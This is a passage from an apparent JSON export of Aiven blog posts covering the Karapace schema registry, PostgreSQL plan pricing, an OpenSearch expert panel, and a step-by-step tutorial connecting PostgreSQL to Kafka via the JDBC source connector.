offer a well-maintained, supported open source alternative for all Apache Kafka users, whether or not they were our customers, for handling Kafka REST proxies and Schema Registry. \n\n(And being also users of Apache Kafka, we naturally wanted that capability for ourselves, too.)\n\nAiven’s open source mission is to help the tooling and environment to evolve so that companies can avoid vendor lock-in, and this was an important step on that road.\n\n## The future of Karapace\n\nAiven is committed to continuing the development of Karapace in the open, and ensuring 1:1 compatibility between Confluent Schema Registry and Karapace to the fullest possible extent.\n\nWith Instaclustr joining the project, the future of Karapace is even stronger. Their recent contribution adds support for the [Google Protocol Buffer (Protobuf)](https://en.wikipedia.org/wiki/Protocol_Buffers \"Protocol Buffers | Wikipedia\") format in the Karapace schema registry. Protobuf allows cross-language support for code generation, which is valuable for organizations using multiple programming languages. In such organizations, building an event streaming platform with strong guarantees on data quality means that the chosen encoding format must be interoperable between those languages.\n\nAiven creating Karapace as an open source project to begin with is an invitation for other companies and individuals to contribute new features and make Karapace more robust, flexible and versatile. Everyone gains when open source tooling improves, regardless of who is doing the improving. Open source is a prime example of [coopetition](https://en.wikipedia.org/wiki/Coopetition \"Coopetition: cooperative competition | Wikipedia\"), where companies work together to share knowledge and resources even as they continue to compete for market share of their products. These two interactions take place at different stages of the value chain. The companies share for example lower-level research insights and components, while still keeping their own products and services that have been built upon the (now shared) foundation.\n\nThis is why we at Aiven are delighted to find ourselves collaborating with Instaclustr in the spirit of joint commitment to open source. This will benefit Aiven’s and Instaclustr’s customers equally, as well as all other users of Apache Kafka. After all, we’re in the business of providing our customers with the best open source technologies.\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"TqGvFFLeeAA983N1VLEpK","_ref":"TqGvFFLeeAA983N1VLEpK","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-2a83f5b5541fc8f099a2e3afe3d136d43ea02fd9-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-21T00:00:00.000Z","seo":{"metaDescription":"Companies are increasingly turning to Karapace, started by Aiven, as an open source alternative for Confluent Schema Registry and REST API for Apache Kafka®.","metaImage":{"alt":"","asset":{"_ref":"image-2a83f5b5541fc8f099a2e3afe3d136d43ea02fd9-1567x844-png","_type":"reference"}},"metaTitle":"Karapace strengthens schema management"},"slug":{"_type":"slug","current":"/blog/karapace-strengthens-schema-management"},"subtitle":"Companies are increasingly turning to Karapace, started by Aiven, as an open source alternative for Confluent Schema Registry and REST API for Apache Kafka®.","title":"Karapace strengthens schema management"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1DQygJh9jbPBgmWQtnc3sp","_rev":"cEPH2uRN58AU2lp9QO7oqH","_type":"post","_updatedAt":"2022-09-08T16:19:47Z","authors":[{"_key":"MtPf0fA4gEsTHRgE5bHjI","_ref":"MtPf0fA4gEsTHRgE5bHjI","_type":"reference"}],"body":"Based on customer feedback, we have added a few more PostgreSQL service plan options to our offering.\n\nAll plans except _Hobbyist_ now have four size variants each. We have also **doubled** the SSD disk space in our plans!\n\nAll plans include daily full backups and real-time streaming of incremental backups. Recovery to any point in time is supported. Also, forking a new database from any point in time in the backup history is possible.\n\n###  Basic single-node plans\n\n*   **Hobbyist**: 1 CPU, 1 GB RAM, 8 GB SSD at $19 / month ($0.026 / hour)\n*   **Startup-4**: 1 CPU, 4 GB RAM, 50 GB SSD at $75 / month ($0.103 / hour)\n*   **Startup-8**: 2 CPU, 8 GB RAM, 100 GB SSD at $150 / month ($0.205 / hour)\n*   **Startup-16**: 4 CPU, 16 GB RAM, 200 GB SSD at $300 / month ($0.411 / hour)\n*   **Startup-32**: 8 CPU, 32 GB RAM, 400 GB SSD at $600 / month ($0.822 / hour)\n\n_Startup_ plans store backup history for the last 24 hours.\n\n### Plans with a standby-node and automatic failover\n\nThe _Business_ plans add a level of redundancy with a hot standby node that takes over if the master server stops functioning:\n\n*   **Business-4**: 1 CPU, 4 GB RAM, 50 GB SSD at $200 / month ($0.274 / hour)\n*   **Business-8**: 2 CPU, 8 GB RAM, 100 GB SSD at $400 / month ($0.548 / hour)\n*   **Business-16**: 4 CPU, 16 GB RAM, 200 GB SSD at $800 / month ($1.096 / hour)\n*   **Business-32**: 8 CPU, 32 GB RAM, 400 GB SSD at $1600 / month ($2.192 / hour)\n\n_Business_ plans have a full backups history over the last 14 days.\n\n### Plans with two standby nodes\n\nThe _Premium_ plans add a second hot standby node, which means all database transactions are written to two nodes even during the time of a node failover.\n\n*   **Premium-4**: 1 CPU, 4 GB RAM, 50 GB SSD at $300 / month ($0.411 / hour)\n*   **Premium-8**: 2 CPU, 8 GB RAM, 100 GB SSD at $600 / month ($0.822 / hour)\n*   **Premium-16**: 4 CPU, 16 GB RAM, 200 GB SSD at $1200 / month ($1.644 / hour)\n*   **Premium-32**: 8 CPU, 32 GB RAM, 400 GB SSD at $2400 / month ($3.288 / hour)\n\n_Premium_ plans have a full backups history over the last 30 days.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2016-02-10T13:29:00.000Z","seo":{"metaDescription":"Full daily backups, and real-time streaming of incremental backups are only a few of the improvements to Aiven for PostgreSQL. Find out what else we’ve done.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Bigger, faster, cheaper Aiven for PostgreSQL® service plans!"},"slug":{"_type":"slug","current":"/blog/bigger-faster-cheaper-aiven-postgresql"},"subtitle":"Full daily backups, and real-time streaming of incremental backups are only a few of the improvements to Aiven for PostgreSQL. Find out what else we’ve done.","title":"Bigger, faster, cheaper Aiven for PostgreSQL® service plans!"}
{"__i18n_lang":"en","_createdAt":"2023-02-09T15:49:36Z","_id":"0fe56f68-b802-4517-8c6e-030413ade196","_rev":"THDGXgbtbTWNUZ8wxZrWlv","_type":"post","_updatedAt":"2023-05-15T13:36:48Z","authors":[{"_key":"cc17bc1957a6","_ref":"4qffmcVsFWCkdzfsRDzQ4N","_type":"reference"}],"body":"## The panel and its participants\n\nOn 17th January 2023, Aiven and BigData Boutique held an OpenSearch® Fireside Chat on [Lessons learned from maintaining 10K+ OpenSearch® clusters in production](https://www.youtube.com/watch?v=Ek20H1t_moM), and the conversation illustrates how far OpenSearch® has come since the project first started in January 2021, just two years ago.\n\nThe seed for this session was planted at our Uptime conference last year, where BigData Boutique’s CTO talked about [building a future-proof data serving layer](https://youtu.be/yACk-kGDZts).\n\n[BigData Boutique](https://bigdataboutique.com/) is a premium consulting firm focusing on Big Data technologies, known for their [expertise in Elasticsearch and OpenSearch](https://bigdataboutique.com/services/elasticsearch-consulting). Their panelists were:\n\n* [Itamar Syn-Hershko](https://www.linkedin.com/in/itamar-syn-hershko-78b25013), CTO and Founder, who has been working with OpenSearch and Elasticsearch since the very beginning (2010, give or take). Itamar leads a team of experts providing support for companies using OpenSearch all around the world.\n* [Arkadii Chumachenko](https://www.linkedin.com/in/arcady-chumachenko/) is one of those experts. An OpenSearch Support Engineer at BigData Boutique, Arkadii has been fiddling with computers since pre-school.\n* [Lior Friedler](https://www.linkedin.com/in/lior-friedler/) is an OpenSearch expert and BigData Ops team lead at BigData Boutique. His day-to-day revolves around data modeling, scaling data infrastructure, and optimizing cost and performance of huge scale data platforms.\n\nAiven was represented by [Andriy Redko](https://www.linkedin.com/in/aredko/), a member of our [Open Source Program Office](https://aiven.io/open-source-program-office) and an OpenSearch contributor\n\nThe panel was led by [Lorna Mitchell](https://www.linkedin.com/in/lornajane/), who at the time of the session was a Principal Developer Advocate at Aiven. Lorna is well known (amongst other things!) as a speaker, author, and Open Source specialist.\n\n## Overview\n\nIt's a rare opportunity to get this much experience on OpenSearch in one place. The panel does assume you already have some knowledge of OpenSearch or equivalent technologies; the panelists assume at least a basic awareness of how search technologies work, that systems need to be tuned, and that terms like \"vector\" can have a meaning in the text-based/linguistic world as well as in the mathematical sense.\n\nOn the other hand, if you're interested in knowing a bit more about why OpenSearch is more than just a different version of Elasticsearch, some nifty hints on tuning, why managed services may be the best answer (at least for now), and where the associated technologies may be going over the next few years, then this is the right talk.\n\nMy particular fascinations? I love text, and have a longstanding interest in text markup and manipulation, so OpenSearch has strong appeal to me in its document handling and indexing aspects. I'm also a fan of backup (I've run the backup system for a small company, and once wrote the backup system for an object oriented database). And I have an appreciation for technologies that stand the test of time. As we'll see below, all of those are clues that I might enjoy this panel 🙂.\n\n## My take\n\nOne way to consider the value of a panel is to review the topics that were discussed. Some of Lorna's leading questions in this session were:\n\n* When do people use OpenSearch when they should use something else (and does it matter?)\n* What do the panelists really like about the OpenSearch tech stack? and how have they seen it change during their use of it?\n* How widespread is awareness of OpenSearch, and is that linked to the availability of managed services?\n* What are the best practices for improving OpenSearch performance?\n* Finally, the participants were asked what developments they hoped for in the next five years.\n\nThat doesn’t really give the gist of the panel though, so here are some of the things that struck me.\n\n## Some fun quotes\n\n\u003e  “It's opt out of indexing, rather than opt in to indexing[, like other database systems]”\n\u003e – Lior, 15:00\n\nI think this one is important. OpenSearch is at heart a search engine, and so indexing is core to how it works. In a relational database, for instance, you can choose indexing of columns, but it’s a conscious choice, and the overheads are different.\n\n\u003e “For developers, it’s extremely simple product to start working with”\n\u003e – Andriy, 16:30\n\n[Apache Lucene®](https://lucene.apache.org/) is an excellent core technology, in active development for more than 20 years ([Elastic](https://www.elastic.co/) has an interesting page on its [history](https://www.elastic.co/celebrating-lucene)) and OpenSearch provides the right level of abstraction to “hide” the complexity of Lucene and make it accessible., which is “a very big selling point for developers”.\n\n\u003e “Don’t think that it’s a schemaless database” \n\u003e – Lior, 23:50\n\nThis one is something people sometimes forget. There’s always a schema for documents, it’s just that OpenSearch will deduce one if you don’t specify it. And as you might expect, letting it “guess” what you mean can sometimes make for surprises.\n\n\u003e “Don’t use super-expensive analyzers, unless you really need them”\n\u003e – Lior, 24:18\n\nI was particularly struck by the value of the specific answers to the \"best practices\" topic (although actually the discussion overlapped with the previous consideration of managed services). There was a clear feeling of the importance of (appropriate) monitoring, and a good discussion on the necessity of not only backing up data, but also checking that it can be restored again (so easy to forget!).\n\n\u003e “My disadvantage is that I only see those systems when they have already been broken.\n\u003e  – Lior, 29.:59\n\n## Other thoughts\n\nI was reassured to hear that, as the project matures, more of the sensible configuration choices are defaulting to \"on\" - this seems to me a sign of a project with a healthy approach to its users.\n\nI did notice that there were several recurring topics, and I believe these all came up in the \"what to look forward to in the future\" section as well:\n\n* Providing even more of the core Apache Lucene functions, and tracking development in Lucene\n* Improving the cluster capabilities, and thus improving operation at scale\n* Looking towards serverless offerings\n* Support for even more (written) languages, and more integrations\n* Support for vector search - supporting search for a word and words related to it\n* Support for ML/AI\n\nWhich of those most excite me? Definitely vector search, which I expect to open up exciting possibilities, but also the provision of more and more integrations.\n\n\n(For those who don't know what vector search is, I think that [Text mining using vectors explained to business people](https://cesconi.com/text-mining-using-vectors-explained-to-business-people-4ea6f55ac2e3) by Federico Cesconi is a good place to start. It's at the wonderful intersection between text data, linguistics research, and mathematics.)\n\nAs the panel says, the future of OpenSearch looks very bright, and it’s going to be used in even more application spaces.\n\n-------\n \nApache Lucene is a trademark of the Apache Software Foundation in the United States and/or other countries.\nElasticsearch is a trademark of Elasticsearch BV, registered in the U.S. and in other countries.\n","categories":[{"_key":"3c479f54a44a","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"a3ce2fcb9271","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Test saying \"Notes on an OpenSearch® Fireside Chat\" against a blue background with the AIven cuddly crab logo at the bottom left","asset":{"_ref":"image-b868791544712892e91c639f202dc1c1eb27edee-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-02-22T12:41:29.993Z","related":[],"seo":{"_type":"metaData","metaTitle":"Experts discuss OpenSearch®: BigData Boutique \u0026 Aiven"},"slug":{"_type":"slug","current":"/blog/opensearch-fireside-chat"},"subtitle":"They had me at the panel title: “Lessons learned from maintaining 10K+ OpenSearch® clusters in production”","title":"Learn from the experts: BigData Boutique and Aiven talk about OpenSearch®"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7bElzaANLEsZkdrtXlmTqh","_rev":"KtWw3EPsvVF1DpRqAKQydd","_type":"post","_updatedAt":"2023-06-22T13:54:56Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"If we go back in history few years, the typical data pipeline was an app creating events and pushing them to a backend database. Data was then propagated to downstream applications via dedicated ETL flows at regular intervals, usually daily.\n\nIn these modern times, [Apache Kafka](https://aiven.io/kafka) has become the default data platform. Apps write events to Kafka, which then distributes them in near-real-time to downstream sinks like databases or cloud storages. [Kafka Connect](https://aiven.io/kafka-connect), a framework to stream data into and out of Apache Kafka, represents a further optimisation that makes the ingestion and propagation of events just a matter of config files settings.\n\nWhat if we're facing an old app-to-database design? How can we bring it to 2021 and include Kafka in the game? Instead of batch exporting to the database at night, we can add Kafka to the existing system. Kafka Connect lets us integrate to an existing system and make use of more up-to-date tech tools, without disrupting the original solution.\n\nOne way to do this is to use the Kafka Connect JDBC Connector. This post will walk you through an example of sourcing data from an existing table in PostgreSQL and populating a Kafka topic with only the changed rows. This is a great approach for many use cases. But when no additional query load to the source system is allowed, you could also make use of change data capture solutions based on tools like Debezium. As we'll see later, [Aiven provides Kafka Connect as a managed service](https://aiven.io/kafka-connect) for both options. You can start your connectors without the hassle of managing a dedicated cluster.\n\n![Architecture Overview](//cdn.sanity.io/images/sczeoy4w/production/aeaeb093e2f18ac5203a1f2ba87bb1f3624e47a3-1058x314.png \"Kafka Connect in the architecture\")\n\nThis blog post provides an example of the Kafka Connect JDBC Source based on a PostgreSQL database. A more detailed explanation of the connector is provided in our [help article](https://help.aiven.io/en/articles/3416789-jdbc-source-connector-with-postgresql)\n\nIn our example, we first create a PostgreSQL database to act as backend data storage for our imaginary application. Then we create a Kafka cluster with Kafka Connect and show how any new or modified row in PostgreSQL appears in a Kafka topic.\n\n## Creating the PostgreSQL Source system\n\nWe'll create the whole setup using the [Aiven Command Line Interface](https://aiven.io/blog/command-line-magic-with-the-aiven-cli). Follow the instructions in the help article to install and log in. All you need is Python 3.5+ and an Internet connection.\n\nOnce you've logged in to the Aiven client, we can create a PostgreSQL database with the following `avn` command in our terminal:\n\n```bash\navn service create pg-football    \\\n    -t pg                         \\\n    --cloud google-europe-west3   \\\n    -p business-4\n```\n\nThis command creates a PostgreSQL database (flag `-t pg`) named `pg-football` on region `google-europe-west3`. The selected plan driving the amount of resources available and associated billing is `business-4`.\n\nThe create command returns immediately, Aiven received the request and started creating the instance. We can wait for the database to be ready with the following command:\n\n```bash\navn service wait pg-football\n```\nThe `wait` command can be executed against any Aiven instance, and returns only when the service is in `RUNNING` mode.\n\n### Time to Scout Football Players\n\nNow let's create our playground: we are a football scouting agency, checking players all over the world and our app pushes the relevant data to a PostgreSQL table. Let's login to PostgreSQL from the terminal:\n\n```bash\navn service cli pg-football\n```\n\nOr agency doesn't do a great job at scouting, all we are able to capture is the player's `name`, `nationality` and a flag `is_retired` showing the activity status.\nWe create a simple `football_players` table containing the above information together with two control columns:\n* `created_at` keeping the record's creation time\n* `modified_at` for the row's last modification time\n\nThese two columns will later be used from the Kafka Connect connector to select the recently changed rows.\nNow it's time to create the table from the PostgreSQL client:\n\n```sql\nCREATE TABLE football_players (\n  name VARCHAR ( 50 ) PRIMARY KEY,\n  nationality VARCHAR ( 255 ) NOT NULL,\n  is_retired BOOLEAN DEFAULT false,\n  created_at TIMESTAMP NOT NULL DEFAULT NOW(),\n  modified_at TIMESTAMP\n  )\n;\n```\n\nThe `created_at` field will work as expected immediately, with the `DEFAULT NOW()` definition.\nThe `modified_at` on the other side, requires a bit more tuning to be usable. We'll need to create a trigger that inserts the current timestamp in case of updates. The following SQL can be executed from the PostgreSQL client:\n\n```sql\nCREATE OR REPLACE FUNCTION change_modified_at()\n  RETURNS TRIGGER\n  LANGUAGE PLPGSQL\n  AS\n$$\nBEGIN\n\tNEW.modified_at := NOW();\n\tRETURN NEW;\nEND;\n$$\n;\nCREATE TRIGGER modified_at_updates\n  BEFORE UPDATE\n  ON football_players\n  FOR EACH ROW\n  EXECUTE PROCEDURE change_modified_at();\n```\n\nThe first statement creates the `change_modified_at` function that will later be used by the `modified_at_updates` trigger.\n\n### Football Scouting App at Work\n\nWe can now simulate our football scouting app behaviour by manually inserting three rows in the `football_players` table from the PostgreSQL client with\n\n```sql\ninsert into football_players (name, nationality, is_retired) values ('Andrea Pirlo','Italian', true);\ninsert into football_players (name, nationality, is_retired) values ('Cristiano Ronaldo','Portuguese', false);\ninsert into football_players (name, nationality, is_retired) values ('Megan Rapinoe','American', true);\n```\n\nWe can verify that the `created_at` column is successfully populated in PostgreSQL with\n\n```sql\nselect * from football_players;\n```\n\nWhich will output\n\n```sql\n       name        | nationality | is_retired |         created_at         | modified_at\n-------------------+-------------+------------+----------------------------+-------------\n Andrea Pirlo      | Italian     | t          | 2021-03-11 10:35:52.04076  |\n Cristiano Ronaldo | Portuguese  | f          | 2021-03-11 10:35:52.060104 |\n Megan Rapinoe     | American    | t          | 2021-03-11 10:35:52.673554 |\n(3 rows)\n```\n\nPerfect, the app is working when inserting new rows. If only we could have an update to an existing row...\n\n![Breaking news - Pirlo comes out of retirement](//cdn.sanity.io/images/sczeoy4w/production/677b8f2b019d0f59017d37e98baee0052f32cb2f-739x258.png \"Pirlo's back\")\n\nWell, this was somehow expected, Juventus FC went out of Champions League and needed new energy in the midfield. We can update the relevant row with\n\n```sql\nupdate football_players set is_retired=false where name='Andrea Pirlo';\n```\n\nWe can check that the `modified_at` is correctly working by issuing the same `select * from football_players;` statement in the PostgreSQL client and checking the following output\n\n```sql\n      name        | nationality | is_retired |         created_at         |        modified_at         \n------------------+-------------+------------+----------------------------+----------------------------\nCristiano Ronaldo | Portuguese  | f          | 2021-03-11 10:35:52.060104 |\nMegan Rapinoe     | American    | t          | 2021-03-11 10:35:52.673554 |\nAndrea Pirlo      | Italian     | f          | 2021-03-11 10:35:52.04076  | 2021-03-11 10:39:49.198286\n(3 rows)\n```\n\nOk, we recreated the original setup: our football scouting app is correctly storing data in the `football_players` table. In the old days the extraction of that data was demanded to an ETL flow running overnight and pushing it to the downstream applications. Now, as per our original aim, we want to include Apache Kafka in the game, so... let's do it!\n\n## Creating a Kafka environment\n\nAs stated initially, our goal is to base our data pipeline on Apache Kafka without having to change the existing setup. We don't have a Kafka environment available right now, but we can easily create one using Aiven's CLI from the terminal with the following `avn` command\n\n```bash\navn service create kafka-football         \\\n  -t kafka                                \\\n  --cloud google-europe-west3             \\\n  -p business-4                           \\\n  -c kafka.auto_create_topics_enable=true \\\n  -c kafka_connect=true\n```\n\nThe command creates an Apache Kafka instance (`-t kafka`) in `google-europe-west3` with the `business-4` plan.\nAdditionally it enables the topic auto-creation (`-c kafka.auto_create_topics_enable=true`) so our applications can create topics on the fly without forcing us to create them beforehand.\nFinally, it enables Kafka Connect (`-c kafka_connect=true`) on the same Kafka instance. We can use the `avn wait` command mentioned above to pause until the Kafka cluster is in `RUNNING` state.\n\nNote that on Kafka instances part of the `startup` plans, you'll be forced to create a standalone Kafka Connect instance. For production systems, we recommend using standalone Kafka Connect for the separation of concerns principle.\n\n### Connecting the dots\n\nThe basic building blocks are ready: our source system represented by the `pg-football` PostgreSQL database with the `football_players` table and the `kafka-football` Apache Kafka instances are running. It's now time to connect the two: creating a new event in Kafka every time an insert or modified row appears in PostgreSQL. That can be achieved by creating a Kafka Connect JDBC source connector.\n\n## Create a JSON configuration file\n\nStart by creating a JSON configuration file like the following:\n\n```json\n{\n    \"name\": \"pg-timestamp-source\",\n    \"connector.class\": \"io.aiven.connect.jdbc.JdbcSourceConnector\",\n    \"connection.url\": \"jdbc:postgresql://\u003cHOSTNAME\u003e:\u003cPORT\u003e/\u003cDATABASE\u003e?sslmode=require\",\n    \"connection.user\": \"\u003cPG_USER\u003e\",\n    \"connection.password\": \"\u003cPG_PASSWORD\u003e\",\n    \"table.whitelist\": \"football_players\",\n    \"mode\": \"timestamp\",\n    \"timestamp.column.name\":\"modified_at,created_at\",\n    \"poll.interval.ms\": \"2000\",\n    \"topic.prefix\": \"pg_source_\"\n}\n```\n\nWhere the important parameters are:\n* `name`: the name of the Kafka Connect connector, in our case `pg-timestamp-source`\n* `connection.url`: the connection URL pointing to the PostgreSQL database, in the form of `jdbc:postgresql://\u003cHOSTNAME\u003e:\u003cPORT\u003e/\u003cDATABASE\u003e?\u003cADDITIONAL_PARAMETERS\u003e`, we can create it with the `dbname`, `host`, `port` output of the following `avn` command\n\n```bash\navn service get pg-football --format '{service_uri_params}'\n```\n\n* `connection.user` and `connection.user`: PostgreSQL credentials, the default `avnadmin` credentials are available as `user` and `password` output of the `avn` command above\n* `table.whitelist`: list of tables to source from PostgreSQL, in our case is  `football_players`\n* `mode`: Kafka Connect JDBC mode. Three modes are available: `bulk`, `incrementing`, `timestamp`. For this post we'll use the `timestamp` one. For a more detailed description of modes, please refer to the [help article](https://help.aiven.io/en/articles/3416789-jdbc-source-connector-with-postgresql)\n* `timestamp.column.name`: list of timestamp column names: The value for this setting should be `modified_at,created_at` since `modified_at` will contain the most recent update timestamp, and in case of null value, we can rely on the `created_at` column.\n* `poll.interval.ms`: time between database polls\n* `topic.prefix`: prefix for topic, the full topic name will be a concatenation of `topic.prefix` and the PostgreSQL table name.\n\n### Start the JDBC connector\n\nAfter storing the above JSON in a file named `kafka_jdbc_config.json`, we can now start the Kafka Connect JDBC connector in our terminal with the following command:\n\n```bash\navn service connector create kafka-football @kafka_jdbc_config.json\n```\n\nWe can verify the status of the Kafka Connect connector with the following `avn` command:\n\n```\navn service connector status kafka-football pg-timestamp-source\n```\nNote that the last parameter `pg-timestamp-source` in the `avn` command above refers to the Kafka Connect connector name defined in the `name` setting of the `kafka_jdbc_config.json` configuration file. If all settings are correct, the above command will show our healthy connector being in `RUNNING` mode\n\n```\n{\n    \"status\": {\n        \"state\": \"RUNNING\",\n        \"tasks\": [\n            {\n                \"id\": 0,\n                \"state\": \"RUNNING\",\n                \"trace\": \"\"\n            }\n        ]\n    }\n}\n```\n\n### Check the data in Kafka with Kafkacat\n\nThe data should now have landed in Apache Kafka. How can we check it?\nWe can use [Kafkacat](https://help.aiven.io/en/articles/2607674-using-kafkacat) a nice command line utility.\n\nOnce Kafkacat is installed (see our [help article](https://help.aiven.io/en/articles/2607674-using-kafkacat) for detailed instructions), we'll need to set up the connection to our Kafka environment.\n\nAiven by default enables SSL certificate based authentication. The certificates are available from the Aiven console for manual download. In Aiven CLI you can avoid the clicking with the following `avn` command in our terminal:\n\n```bash\nmkdir -p kafkacerts\navn service user-creds-download kafka-football \\\n    -d kafkacerts \\\n    --username avnadmin\n```\n\nThese commands create a `kafkacerts` folder (if not existing already) and download in it the `ca.pem`, `service.cert` and `service.key` SSL certificates required to connect.\n\nThe last missing piece of information that Kafkacat needs is where to find our Kafka instance in terms of `hostname` and `port`. This information can be displayed in our terminal with the following `avn` command\n\n```bash\navn service get kafka-football --format '{service_uri}'\n```\n\nOnce we collected the required info we can create a `kafkacat.config` file with the following entries\n\n```\nbootstrap.servers=\u003cKAFKA_SERVICE_URI\u003e\nsecurity.protocol=ssl\nssl.key.location=kafkacerts/service.key\nssl.certificate.location=kafkacerts/service.cert\nssl.ca.location=kafkacerts/ca.pem\n```\n\nRemember to substitute the `\u003cKAFKA_SERVICE_URI\u003e` with the output of the `avn service get` command mentioned above.\n\nNow we are ready to read the topic from Kafka by pasting the following command in our terminal:\n\n```\nkafkacat -F kafkacat.config -C -t pg_source_football_players\n```\n\nNote that we are using Kafkacat in consumer mode (flag `-C`) reading from the topic `pg_source_football_players` which is the concatenation of the `topic.prefix` setting in Kafka Connect and the name of our `football_players` PostgreSQL table.\n\nAs expected, since the connector is working, Kafkacat will output the three messages present in the Kafka topic matching the three rows in the `football_players` PostgreSQL table\n\n```json\n{\"name\":\"Cristiano Ronaldo\",\"nationality\":\"Portuguese\",\"is_retired\":false,\"created_at\":1615458952060,\"modified_at\":null}\n{\"name\":\"Megan Rapinoe\",\"nationality\":\"American\",\"is_retired\":true,\"created_at\":1615458952673,\"modified_at\":null}\n{\"name\":\"Andrea Pirlo\",\"nationality\":\"Italian\",\"is_retired\":false,\"created_at\":1615458952040,\"modified_at\":1615459189198}\n% Reached end of topic pg_source_football_players [0] at offset 3\n```\n## Updating the listings\n\nNow, let's see if our football scouts around the world can fetch some news for us\n\n![Ronaldo retires, enter Gorlami](//cdn.sanity.io/images/sczeoy4w/production/a4af59e353e65887cb622fb25ed5950691022b85-1570x661.png \"Ronaldo retires, enter Gorlami\")\n\nWow, we found a new talent named `Enzo Gorlami` and `Cristiano Rolando` officially retired today from professional football (please be aware this post is not reflecting football reality). Let's push the two news to PostgreSQL:\n\n```sql\ninsert into football_players (name, nationality, is_retired) values ('Enzo Gorlami','Italian', false);\nupdate football_players set is_retired=true where name='Cristiano Ronaldo';\n```\n\nWe can verify that the data is correctly stored in the database:\n```sql\ndefaultdb=\u003e select * from football_players;\n       name        | nationality | is_retired |         created_at         |        modified_at         \n-------------------+-------------+------------+----------------------------+----------------------------\n Megan Rapinoe     | American    | t          | 2021-03-11 10:35:52.673554 |\n Andrea Pirlo      | Italian     | f          | 2021-03-11 10:35:52.04076  | 2021-03-11 10:39:49.198286\n Enzo Gorlami      | Italian     | f          | 2021-03-11 11:09:49.411885 |\n Cristiano Ronaldo | Portuguese  | t          | 2021-03-11 10:35:52.060104 | 2021-03-11 11:11:36.790781\n(4 rows)\n```\n\nAnd in Kafkacat we receive the following two updates:\n\n```json\n{\"name\":\"Enzo Gorlami\",\"nationality\":\"Italian\",\"is_retired\":false,\"created_at\":1615460989411,\"modified_at\":null}\n% Reached end of topic pg_source_football_players [0] at offset 4\n{\"name\":\"Cristiano Ronaldo\",\"nationality\":\"Portuguese\",\"is_retired\":true,\"created_at\":1615458952060,\"modified_at\":1615461096790}\n% Reached end of topic pg_source_football_players [0] at offset 5\n```\n## Further reading\nIf you want to know more about Aiven, Kafka, Kafka Connect or PostgreSQL, check the references below:\n\n* [Kafka Connect JDBC Source PostgreSQL](https://help.aiven.io/en/articles/3416789-jdbc-source-connector-with-postgresql)\n* [Intro to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql)\n* List of [Aiven supported Kafka Connect Connectors](https://help.aiven.io/en/articles/1231452-kafka-connect-connectors)\n* [Kafka Connect Preview](https://aiven.io/blog/kafka-connect-preview)\n* [Aiven Command Line Interface](https://help.aiven.io/en/articles/3074410-aiven-command-line-interface-tips-and-tricks)\n\n## Wrapping up\nThis blog post showed how to easily integrate PostgreSQL and Apache Kafka with a fully managed, config-file-driven Kafka Connect JDBC connector. We used a timestamp-based approach to retrieve the changed rows since the previous poll and push them to a Kafka topic increasing the query load to the source database.\n\nAn alternative method is represented by Change Data Capture solutions like Debezium, which, in case of PostgreSQL, reads changes directly from WAL files avoiding any additional query load on the source database. A guide on how to setup CDC for Aiven PostgreSQL is provided in this [help article](https://help.aiven.io/en/articles/1790791-setting-up-debezium-with-aiven-for-postgresql).\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-c7243cd5f1a0aca266d2e2ee01c637fe5575907d-1567x844-png","_type":"reference"}},"publishedAt":"2021-03-25T00:00:00.000Z","seo":{"metaDescription":"Find out how to use Apache Kafka® Connect to update an old app-to-db design to use up-to-date tech tools without disrupting the original solution.","metaImage":{"alt":"","asset":{"_ref":"image-c7243cd5f1a0aca266d2e2ee01c637fe5575907d-1567x844-png","_type":"reference"}},"metaTitle":"Using Kafka Connect JDBC Source: a PostgreSQL® example"},"slug":{"_type":"slug","current":"/blog/using-kafka-connect-jdbc-source-a-postgresql-example"},"subtitle":"Find out how to use Apache Kafka® Connect to update an old app-to-db design to use up-to-date tech tools without disrupting the original solution.","title":"Using Kafka Connect JDBC Source: a PostgreSQL® example"}
